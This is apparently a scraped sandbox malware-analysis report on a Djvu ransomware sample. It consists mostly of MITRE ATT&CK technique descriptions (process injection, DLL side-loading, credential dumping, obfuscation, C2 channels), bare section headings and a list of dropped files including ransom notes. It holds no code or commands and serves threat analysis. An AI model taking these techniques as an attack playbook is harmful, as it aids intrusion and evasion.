Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\Scratch\_readme.txt

C:\$WinREAgent\_readme.txt

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files\7-Zip\Uninstall.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_VOsoyD.exe_c849f816ffd727ba0312b127128c6f8f414aa9_045cbcc1_494a51d2-60ff-4705-9e81-2a7a015e4c36\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER58D5.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5A4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5AAB.tmp.xml

C:\SystemID\PersonalID.txt

Windows Analysis Report
F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre